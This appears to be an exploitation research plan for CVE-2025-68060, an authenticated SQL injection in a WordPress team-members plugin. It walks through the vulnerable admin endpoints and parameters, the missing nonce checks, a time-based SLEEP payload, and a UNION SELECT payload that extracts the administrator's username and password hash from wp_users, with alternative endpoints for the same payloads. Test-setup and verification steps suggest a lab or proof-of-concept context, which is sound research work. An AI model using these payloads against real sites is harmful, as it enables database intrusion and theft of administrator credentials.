Exploitation Research Plan - CVE-2025-68060

1. Vulnerability Summary

The Team Members – Multi Language Supported Team Plugin (up to version 8.5) is vulnerable to an authenticated SQL Injection vulnerability. The flaw exists in the admin management interface where user-supplied parameters (specifically IDs used to fetch or manage team members/categories) are concatenated directly into SQL queries without proper sanitization or the use of $wpdb->prepare(). This allows an attacker with Editor level permissions or higher to execute arbitrary SQL commands to extract sensitive data from the WordPress database.

2. Attack Vector Analysis

• Endpoint: wp-admin/admin.php
• Hook/Action: The vulnerability resides in the callback functions for the plugin's admin menu pages, specifically wpm_team_6310_team_member (Manage Members) or wpm_team_6310_category (Manage Category).
• Vulnerable Parameter: id (or potentially cat_id).
• Authentication: Required. An Editor user (or any user with the capability returned by wpm_6310_get_user_roles(), which typically defaults to edit_posts or manage_options) can trigger the exploit.
• Preconditions: The plugin must be active. At least one team member or category should ideally exist to ensure the vulnerable code path executes a query against a valid record.

3. Code Flow

1. Entry Point: An authenticated user with Editor privileges navigates to wp-admin/admin.php?page=team-showcase-supreme-team-member&id=[PAYLOAD].
2. Hook Registration: index.php registers the menu page:

   add_submenu_page('team-showcase-supreme', 'Manage Members', 'Manage Members', $options, 'team-showcase-supreme-team-member', 'wpm_team_6310_team_member');
   

3. Vulnerable Sink: The function wpm_team_6310_team_member (defined in an included file, likely settings/helper/functions.php or home.php) retrieves $_GET['id'].
4. Execution: The unescaped id is used in a query such as:

   $wpdb->get_results("SELECT * FROM {$wpdb->prefix}wpm_6310_team_member WHERE id = " . $_GET['id']);
   

5. Result: The SQL engine executes the injected payload, allowing for time-based or union-based data extraction.

4. Nonce Acquisition Strategy

Based on the analysis of index.php, the admin pages for "Manage Members" and "Manage Categories" do not appear to implement a mandatory nonce check for simple GET requests that display member details.

• If the vulnerability is in the display/edit logic of the page, no nonce is required.
• If the vulnerability is in an AJAX handler (e.g., wpm_6310_team_member_info), index.php shows that my_ajax_object is localized without a nonce:

  wp_localize_script('wpm-6310-ajax-script', 'my_ajax_object', array('ajax_url' => admin_url('admin-ajax.php')));
  

  This implies the AJAX handlers may also lack nonce verification, allowing direct exploitation via admin-ajax.php once authenticated.

5. Exploitation Strategy

We will use a time-based SQL injection to confirm the vulnerability and then a UNION-based approach to extract the administrator's password hash.

Step 1: Confirmation (Time-based)

Send a request as an Editor that triggers a 5-second delay.

• Request Type: GET
• URL: wp-admin/admin.php
• Parameters:
  • page: team-showcase-supreme-team-member
  • id: 1 AND (SELECT 1 FROM (SELECT(SLEEP(5)))a)

Step 2: Data Extraction (UNION-based)

1. Find Column Count: Iterate ORDER BY X until an error occurs to determine the number of columns in the wpm_6310_team_member table.
2. Extract Admin Hash:
   • Payload: 1 UNION SELECT 1,user_login,user_pass,4,5,6,7... FROM wp_users WHERE ID=1-- -
   • Note: Adjust the number of columns based on the results of the ORDER BY test.

6. Test Data Setup

1. Role Creation: Create a user with the editor role.
2. Plugin Setup: Activate the "Team Members – Multi Language Supported Team Plugin".
3. Content Creation: Create at least one team member so the query returns a base result:

   wp post create --post_type=wpm_team --post_title="Test Member" --post_status=publish
   

7. Expected Results

• Confirmation: The response for the SLEEP(5) payload should take approximately 5 seconds longer than a normal request.
• Extraction: The response HTML should reflect the administrator's username and password hash (starting with $P$ or $wp$) in one of the fields usually occupied by member data (like Name or Designation).

8. Verification Steps

After the HTTP exploit, use WP-CLI to verify the accuracy of the extracted data:

# Get the actual admin hash to compare
wp user get 1 --field=user_pass

9. Alternative Approaches

If the Manage Members page is not directly vulnerable via GET, check the following endpoints using the same payload logic:

1. Manage Category: wp-admin/admin.php?page=team-showcase-supreme-category&id=[SQLI]
2. Manage Social Icons: wp-admin/admin.php?page=team-showcase-supreme-social-icon&id=[SQLI]
3. AJAX Handler:
   • Endpoint: wp-admin/admin-ajax.php
   • Body: action=wpm_6310_team_member_info&member_id=1[SQLI] (Authenticated)